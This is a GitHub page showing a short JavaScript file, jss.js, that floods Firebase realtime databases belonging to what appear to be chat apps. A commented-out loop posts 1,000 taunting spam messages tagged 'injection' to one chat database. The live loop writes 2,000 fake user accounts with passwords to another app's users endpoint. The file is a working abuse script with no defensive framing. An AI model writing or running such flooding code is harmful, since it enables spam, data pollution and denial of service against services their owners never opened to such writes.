generated from NelsonGC7/ChatPoin
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathjss.js
39 lines (34 loc) · 1.08 KB
/
jss.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/*
for(let i = 0 ; i <1000 ; i++){
fetch("https://msgchatenshi-default-rtdb.firebaseio.com/mschat.json", {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
user: "anon4266",
msg: "nuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuub silec",
city: "Filipinas",
region: "FP",
country: `injection ${i}`,
})
})
.then(response => response.json())
.then(data => console.log(data))
.catch(error => console.error('Error:', error));
}*/
for(let i = 2000; i <4000 ; i++){
fetch("https://getusersingin-default-rtdb.firebaseio.com/users.json", {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
name: `anon${i}`,
password: `password${i}`,
})
})
.then(response => response.json())
.then(data => console.log(data))
.catch(error => console.error('Error:', error));
}